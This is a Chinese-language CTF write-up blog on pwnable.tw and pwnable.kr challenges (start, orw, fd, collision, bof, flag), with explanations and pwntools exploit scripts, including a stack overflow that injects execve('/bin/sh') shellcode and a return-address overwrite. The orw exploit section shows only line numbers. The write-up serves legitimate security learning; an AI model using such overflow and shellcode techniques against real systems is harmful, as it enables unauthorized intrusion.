pwnable.tw

start

第一步检查保护,是久违的感觉😂


ida打开看看

不难发现其不是标准栈帧结构,🔒以ida反汇编不了(百度可以搜索解决办法),好在不长直接看汇编代码吧.

程序主体是两个系统调用read和write,其中read读取60个字节明显有溢出,但要怎么利用是关键

首选自然是ret2shellcode了,但ret2shellcode需要栈地址,可以看到程序起始有向栈中压入esp,我们可以选择借用write系统调用将其泄露,剩下的就是常规操作了

exp

1
2
3
4
5
6
7
8
9
from pwn import*
p=remote('chall.pwnable.tw',10000)
p.recv()
p.send(b'a'*0x14+p32(0x8048087))
stack=u32(p.recv(4))+0x14 #加14是因为最后又抬高了esp一次
p.recv()
sh=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
p.send(b'a'*0x14+p32(stack)+sh)
p.interactive()

orw

保护

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

沙盒题,getshell是很难做到的

程序的内容十分简单,比上一题还简单

但是因为orw的缘故也不白给

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
```

# pwnable.kr

## fd

ssh连上之后,ls发现三个有效文件fd,fd.c,flag

![](https://cdn.jsdelivr.net/gh/ixout/picture@main/img/2023-03-20_220727.png)

flag没有任何权限向我们开放

再看fd.c

```c
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

代码问题不大,考验的就是对linux系统read函数最基本的了解了,0是标准输入,使fd为0即可,0x1234转换为十进制即是4660

1
./fd 4660
  • atoi():atoi()函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab 缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时(‘\0’)才结束转换,并将结果返回,返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。

collision

连上后三个文件,文件样式和权限和上一题一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

c语言基础不牢,char* a[]知道是由字符指针组成的数组,但一时竟不知道每一个成员还可以代表指向一个字符串

输入要为20个字节(字符),以16进制存储,进入check函数,会被强制转为int*指针,即输入的20个字符被视为了5个int数

现在就是要想办法构造出hashcode了,这里构造四处查了一些资料,有两种办法

  1. 全部用可打印字符表示,好处是直观,但要计算有点麻烦
  2. 无论是否可见用十六进制ascii码表示,好处是基本没有计算量,但直接输入十六进制数据依然会被视作字符,所以需要用到python

我选择用第二种方法(因为第一种要控制可打印字符大麻烦了)

键入(别忘了小端序)

1
./col $(python -c 'print "\x01"*16+"\xe8\x05\xd9\x1d"')

前面的16字节我一开始还打算用\x00填充,还想怎么老是提示长度不够,结果忘了strlen()测量长度到\x00结束

bof

是熟悉的味道

检查保护

ida看一看

a1是这个函数的参数,也就是在返回地址上一个

使a1的值为-889275714,我还傻乎乎的打算去用补码换算成十六进制,结果发现汇编代码中就有直接的十六进制数据0CAFEBABEh

exp

1
2
3
4
from pwn import*
p=remote("pwnable.kr",9000)
p.send(b'a'*52+b'\xbe\xba\xfe\xca')
p.interactive()

flag

给了一个flag文件,ida打开提示upx加壳,脱壳后flag以明文形式存在